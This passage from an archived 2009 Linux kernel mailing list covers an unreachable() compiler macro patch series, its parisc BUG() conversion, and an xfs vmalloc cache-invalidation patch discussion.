+ * Mark a position in code as unreachable.  This can be used to
+ * suppress control flow warnings after asm blocks that transfer
+ * control elsewhere.
+ *
+ * Early snapshots of gcc 4.5 don't support this and we can't detect
+ * this in the preprocessor, but we can live with this because they're
+ * unreleased.  Really, we need to have autoconf for the kernel.
+ */
+#define unreachable() __builtin_unreachable()
+#endif
+
 #endif
diff --git a/include/linux/compiler.h b/include/linux/compiler.h
index 04fb513..7efd73f 100644
--- a/include/linux/compiler.h
+++ b/include/linux/compiler.h
@@ -144,6 +144,11 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect);
 # define barrier() __memory_barrier()
 #endif
 
+/* Unreachable code */
+#ifndef unreachable
+# define unreachable() do { for (;;) ; } while (0)
+#endif
+
 #ifndef RELOC_HIDE
 # define RELOC_HIDE(ptr, off)					\
   ({ unsigned long __ptr;					\
-- 
1.6.2.5




From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 06/10] parisc: Convert BUG() to use unreachable()
Date: Thu, 10 Sep 2009 16:56:47 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1252627011-2933-6-git-send-email-ddaney@caviumnetworks.com>
References: <4AA991C1.1050800@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252627224 25073 80.91.229.12 (11 Sep 2009 00:00:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Sep 2009 00:00:24 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	David Daney <ddaney@caviumnetworks.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753205AbZIJX7D@vger.kernel.org Fri Sep 11 02:00:16 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753205AbZIJX7D@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MltYl-0003OP-BJ
	for glk-linux-kernel-3@lo.gmane.org; Fri, 11 Sep 2009 02:00:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753205AbZIJX7D (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 10 Sep 2009 19:59:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750853AbZIJX7A
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 10 Sep 2009 19:59:00 -0400
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:16133 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752721AbZIJX5l (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 10 Sep 2009 19:57:41 -0400
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4aa9926d0005>; Thu, 10 Sep 2009 16:57:33 -0700
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Sep 2009 16:57:05 -0700
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Sep 2009 16:57:04 -0700
Original-Received: from dd1.caveonetworks.com (localhost.localdomain [127.0.0.1])
	by dd1.caveonetworks.com (8.14.2/8.14.2) with ESMTP id n8ANv1lm002979;
	Thu, 10 Sep 2009 16:57:01 -0700
Original-Received: (from ddaney@localhost)
	by dd1.caveonetworks.com (8.14.2/8.14.2/Submit) id n8ANv1ip002978;
	Thu, 10 Sep 2009 16:57:01 -0700
X-Mailer: git-send-email 1.6.0.6
In-Reply-To: <4AA991C1.1050800@caviumnetworks.com>
X-OriginalArrivalTime: 10 Sep 2009 23:57:04.0829 (UTC) FILETIME=[65C106D0:01CA3272]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:888034 gmane.linux.ports.parisc:2155
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2155>

Use the new unreachable() macro instead of for(;;);

Signed-off-by: David Daney <ddaney@caviumnetworks.com>
CC: Kyle McMartin <kyle@mcmartin.ca>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
---
 arch/parisc/include/asm/bug.h |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/include/asm/bug.h b/arch/parisc/include/asm/bug.h
index 8cfc553..75e46c5 100644
--- a/arch/parisc/include/asm/bug.h
+++ b/arch/parisc/include/asm/bug.h
@@ -32,14 +32,14 @@
 			     "\t.popsection"				\
 			     : : "i" (__FILE__), "i" (__LINE__),	\
 			     "i" (0), "i" (sizeof(struct bug_entry)) ); \
-		for(;;) ;						\
+		unreachable();						\
 	} while(0)
 
 #else
 #define BUG()								\
 	do {								\
 		asm volatile(PARISC_BUG_BREAK_ASM : : );		\
-		for(;;) ;						\
+		unreachable();						\
 	} while(0)
 #endif
 
-- 
1.6.2.5


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@twiddle.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.alpha,gmane.linux.hardware.blackfin.kernel.devel
Subject: Re: [PATCH 01/10] Add support for GCC-4.5's __builtin_unreachable()
 to compiler.h
Date: Thu, 10 Sep 2009 17:14:30 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <4AA99666.4090207@twiddle.net>
References: <4AA991C1.1050800@caviumnetworks.com> <1252627011-2933-1-git-send-email-ddaney@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252628115 26975 80.91.229.12 (11 Sep 2009 00:15:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Sep 2009 00:15:15 +0000 (UTC)
Cc: torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
	ralf@linux-mips.org, linux-mips@linux-mips.org,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux390@de.ibm.com, linux-s390@vger.kernel.org,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	linux-am33-list@redhat.com, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>, linuxppc-dev@ozlabs.org,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	linux-alpha@vger.kernel.org,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Mike Frysinger <vapier@gentoo.org>,
	uclinux-d
To: David Daney <ddaney@caviumnetworks.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Sep 11 02:15:04 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mltn5-0006YJ-HG
	for sgi-linux-mips@gmane.org; Fri, 11 Sep 2009 02:15:03 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:50620 "EHLO
	eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S1493613AbZIKAPB (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 11 Sep 2009 02:15:01 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Sep 2009 02:14:44 +0200 (CEST)
Original-Received: from are.twiddle.net ([75.149.56.221]:43607 "EHLO are.twiddle.net"
	rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org with ESMTP
	id S1493028AbZIKAOg (ORCPT <rfc822;linux-mips@linux-mips.org>);
	Fri, 11 Sep 2009 02:14:36 +0200
Original-Received: from stone.twiddle.home (stone.twiddle.home [172.31.0.16])
	by are.twiddle.net (Postfix) with ESMTPSA id 1CEB6576;
	Thu, 10 Sep 2009 17:14:32 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
In-Reply-To: <1252627011-2933-1-git-send-email-ddaney@caviumnetworks.com>
X-archive-position: 24020
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: rth@twiddle.net
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:25055 gmane.linux.kernel:888037 gmane.linux.ports.parisc:2156 gmane.linux.ports.ppc64.devel:59865 gmane.linux.ports.alpha:600 gmane.linux.hardware.blackfin.kernel.devel:2466
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2156>

On 09/10/2009 04:56 PM, David Daney wrote:
> +#ifndef unreachable
> +# define unreachable() do { for (;;) ; } while (0)
> +#endif

#define unreachable() do { } while (1)


r~



From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Buesch <mb@bu3sch.de>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.hardware.blackfin.kernel.devel
Subject: Re: [PATCH 01/10] Add support for GCC-4.5's __builtin_unreachable()
	to compiler.h
Date: Fri, 11 Sep 2009 16:32:58 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <200909111633.00665.mb@bu3sch.de>
References: <4AA991C1.1050800@caviumnetworks.com>
	<1252627011-2933-1-git-send-email-ddaney@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252679623 27093 80.91.229.12 (11 Sep 2009 14:33:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Sep 2009 14:33:43 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Heiko Carstens <heiko.carstens@de.ibm.com>,
	linuxppc-dev@ozlabs.org, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-s390@vger.kernel.org,
	linux-am33-list@redhat.com, Helge Deller <deller@gmx.de>,
	x86@kernel.org, David Daney <ddaney@caviumnetworks.com>,
	Ingo Molnar <mingo@redhat.com>, Mike Frysinger <vapier@gentoo.org>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>, linux390@de.ibm.com,
	Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	ralf@linux-mips.org, Kyle McMartin <kyle@mcmartin.ca>,
	linux-alpha@vger.kernel.org, Martin Schwidefsky <schwidefsky@de.ibm.com>,
	uclinux-dist-devel@blackfin.uclinux.org, akpm@linux-foundation.org,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	torvalds@linu
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org Fri Sep 11 16:33:32 2009
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from bilbo.ozlabs.org ([203.10.76.25])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mm7Bo-0007Qf-QA
	for glppd-linuxppc64-dev@m.gmane.org; Fri, 11 Sep 2009 16:33:29 +0200
Original-Received: from bilbo.ozlabs.org (localhost [127.0.0.1])
	by bilbo.ozlabs.org (Postfix) with ESMTP id DAD01B7B6C
	for <glppd-linuxppc64-dev@m.gmane.org>; Sat, 12 Sep 2009 00:33:23 +1000 (EST)
Original-Received: from vs166246.vserver.de (bu3sch.de [62.75.166.246])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by bilbo.ozlabs.org (Postfix) with ESMTPS id 6CC6BB7043
	for <linuxppc-dev@lists.ozlabs.org>;
	Sat, 12 Sep 2009 00:33:19 +1000 (EST)
Original-Received: by vs166246.vserver.de with esmtpa (Exim 4.69)
	id 1Mm7BN-0006fU-RI; Fri, 11 Sep 2009 14:33:01 +0000
User-Agent: KMail/1.9.9
In-Reply-To: <1252627011-2933-1-git-send-email-ddaney@caviumnetworks.com>
X-Move-Along: Nothing to see here. No, really... Nothing.
Content-Disposition: inline
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:59895 gmane.linux.ports.mips.general:25056 gmane.linux.ports.parisc:2157 gmane.linux.kernel:888273 gmane.linux.ports.alpha:601 gmane.linux.hardware.blackfin.kernel.devel:2483
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2157>

On Friday 11 September 2009 01:56:42 David Daney wrote:
> +/* Unreachable code */
> +#ifndef unreachable
> +# define unreachable() do { for (;;) ; } while (0)
> +#endif

# define unreachable() do { } while (1)

? :)

-- 
Greetings, Michael.

From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH 01/10] Add support for GCC-4.5's __builtin_unreachable()
 to compiler.h
Date: Fri, 11 Sep 2009 08:58:28 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <4AAA73A4.9010601@caviumnetworks.com>
References: <4AA991C1.1050800@caviumnetworks.com> <1252627011-2933-1-git-send-email-ddaney@caviumnetworks.com> <200909111633.00665.mb@bu3sch.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252684774 12303 80.91.229.12 (11 Sep 2009 15:59:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Sep 2009 15:59:34 +0000 (UTC)
Cc: linuxppc-dev@lists.ozlabs.org, torvalds@linux-foundation.org,
	akpm@linux-foundation.org, linux-mips@linux-mips.org,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linuxppc-dev@ozlabs.org, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-s390@vger.kernel.org,
	linux-am33-list@redhat.com, Helge Deller <deller@gmx.de>,
	x86@kernel.org, Ingo Molnar <mingo@redhat.com>,
	Mike Frysinger <vapier@gentoo.org>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	uclinux-dist-devel@blackfin.uclinux.org,
	Thomas Gleixner <tglx@linutronix.de>,
	Richard Henderson <rth@twiddle.net>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	ralf@linux-mips.org, Kyle McMartin <kyle@mcmartin.ca>,
	linux-alpha@vger.kernel.org,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	linux390@de.ibm.com,
	Koichi Yasutake <yasutake.koichi@jp.pana
To: Michael Buesch <mb@bu3sch.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 11 17:59:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mm8Wt-0003Ks-Jl
	for glpp-linux-parisc@lo.gmane.org; Fri, 11 Sep 2009 17:59:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754517AbZIKP7P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Sep 2009 11:59:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753672AbZIKP7P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 11 Sep 2009 11:59:15 -0400
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:13390 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751920AbZIKP7N (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Sep 2009 11:59:13 -0400
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4aaa73d00000>; Fri, 11 Sep 2009 08:59:12 -0700
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Fri, 11 Sep 2009 08:58:29 -0700
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Fri, 11 Sep 2009 08:58:28 -0700
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <200909111633.00665.mb@bu3sch.de>
X-OriginalArrivalTime: 11 Sep 2009 15:58:28.0891 (UTC) FILETIME=[B4225EB0:01CA32F8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2158 gmane.linux.ports.ppc64.devel:59896 gmane.linux.ports.mips.general:25057 gmane.linux.hardware.blackfin.kernel.devel:2485 gmane.linux.kernel:888319 gmane.linux.ports.alpha:602
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2158>

Michael Buesch wrote:
> On Friday 11 September 2009 01:56:42 David Daney wrote:
>> +/* Unreachable code */
>> +#ifndef unreachable
>> +# define unreachable() do { for (;;) ; } while (0)
>> +#endif
> 
> # define unreachable() do { } while (1)
> 
> ? :)

Clearly I was not thinking clearly when I wrote that part.  RTH noted 
the same thing.  I will fix it.

Thanks,
David Daney
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.file-systems
Subject: Re: [PATCH 0/6] fix xfs by making I/O to vmap/vmalloc areas work
Date: Fri, 11 Sep 2009 21:37:03 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <1252705023.13282.66.camel@mulgrave.site>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
	 <20090910061422.GA31781@console-pimps.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252705047 13954 80.91.229.12 (11 Sep 2009 21:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Sep 2009 21:37:27 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>
To: Matt Fleming <matt@console-pimps.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 11 23:37:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MmDnz-00055y-2V
	for glpp-linux-parisc@lo.gmane.org; Fri, 11 Sep 2009 23:37:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756928AbZIKVhK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Sep 2009 17:37:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756851AbZIKVhK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 11 Sep 2009 17:37:10 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:60136 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752790AbZIKVhJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Sep 2009 17:37:09 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 7FE075362F;
	Fri, 11 Sep 2009 23:37:11 +0200 (CEST)
In-Reply-To: <20090910061422.GA31781@console-pimps.org>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2159 gmane.linux.kernel.cross-arch:4383 gmane.linux.file-systems:35278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2159>

On Thu, 2009-09-10 at 07:14 +0100, Matt Fleming wrote:
> On Wed, Sep 09, 2009 at 10:52:10AM -0500, James Bottomley wrote:
> > Here's version two of the patch set.  It actually compiles on both x86
> > and parisc.  I could do with someone to test it on arm and sh.
> > 
> > The key test is how xfs behaves.  What I did to recreate the problem
> > on parisc was simply create an 8GB xfs filesystem, use cp -a to pump
> > about a GB of data into it from my git trees, then unmount and run
> > xfs_check.  Before the patches, xfs_check reports the whole fs to be
> > corrupt.  After the patches it reports everything to be OK.
> > 
> > James
> > 
> 
> I'm seeing some corruption with these patches on SH and a 4GB XFS
> filesystem. However, I am currently seeing other cache aliasing issues
> on this board anyway. I'll do some more analysis tonight, unless Paul
> can prove it's just my setup being weird again.

Did some debug checking, and it turns out that the invalidation logic is
bogus (the bio parameters get updated before the request completes).  Of
course, we wouldn't see this on parisc because we don't require
invalidation ....

I'll try to fix and then repost.

Thanks for testing.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.file-systems,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 6/6] xfs: fix xfs to work with Virtually Indexed
 architectures
Date: Fri, 11 Sep 2009 21:57:15 +0000
Lines: 73
Approved: news@gmane.org
Message-ID: <1252706235.13282.104.camel@mulgrave.site>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-3-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-4-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-5-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-6-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-7-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252706259 17171 80.91.229.12 (11 Sep 2009 21:57:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Sep 2009 21:57:39 +0000 (UTC)
Cc: linux-fsdevel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>
To: linux-arch@vger.kernel.org
Original-X-From: linux-fsdevel-owner@vger.kernel.org Fri Sep 11 23:57:32 2009
Return-path: <linux-fsdevel-owner@vger.kernel.org>
Envelope-to: lnx-linux-fsdevel@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MmE7W-0002R0-3y
	for lnx-linux-fsdevel@lo.gmane.org; Fri, 11 Sep 2009 23:57:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755345AbZIKV5W (ORCPT <rfc822;lnx-linux-fsdevel@m.gmane.org>);
	Fri, 11 Sep 2009 17:57:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756617AbZIKV5V
	(ORCPT <rfc822;linux-fsdevel-outgoing>);
	Fri, 11 Sep 2009 17:57:21 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:48909 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752822AbZIKV5U (ORCPT <rfc822;linux-fsdevel@vger.kernel.org>);
	Fri, 11 Sep 2009 17:57:20 -0400
Original-Received: from relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 4B67F8640B;
	Fri, 11 Sep 2009 23:57:23 +0200 (CEST)
In-Reply-To: <1252511536-22066-7-git-send-email-James.Bottomley@suse.de>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-fsdevel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-fsdevel.vger.kernel.org>
X-Mailing-List: linux-fsdevel@vger.kernel.org
Xref: news.gmane.org gmane.linux.file-systems:35281 gmane.linux.kernel.cross-arch:4385 gmane.linux.ports.parisc:2160
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2160>

On Wed, 2009-09-09 at 10:52 -0500, James Bottomley wrote:
> xfs_buf.c includes what is essentially a hand rolled version of
> blk_rq_map_kern().  In order to work properly with the vmalloc buffers
> that xfs uses, this hand rolled routine must also implement the flushing
> API for vmap/vmalloc areas.
> 
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> ---
>  fs/xfs/linux-2.6/xfs_buf.c |   10 ++++++++++
>  1 files changed, 10 insertions(+), 0 deletions(-)
> 
> diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c
> index 965df12..62ae977 100644
> --- a/fs/xfs/linux-2.6/xfs_buf.c
> +++ b/fs/xfs/linux-2.6/xfs_buf.c
> @@ -1138,6 +1138,10 @@ xfs_buf_bio_end_io(
>  	do {
>  		struct page	*page = bvec->bv_page;
>  
> +		if (is_vmalloc_addr(bp->b_addr))
> +			invalidate_kernel_dcache_addr(bp->b_addr +
> +						      bvec->bv_offset);

OK, so this invalidation logic is completely wrong.  For large vmalloc
buffers, xfs will split them up over several bios.  The only way I can
think to fix this is below ... comments?

If everyone is OK, I'll reroll the patches with this built in.

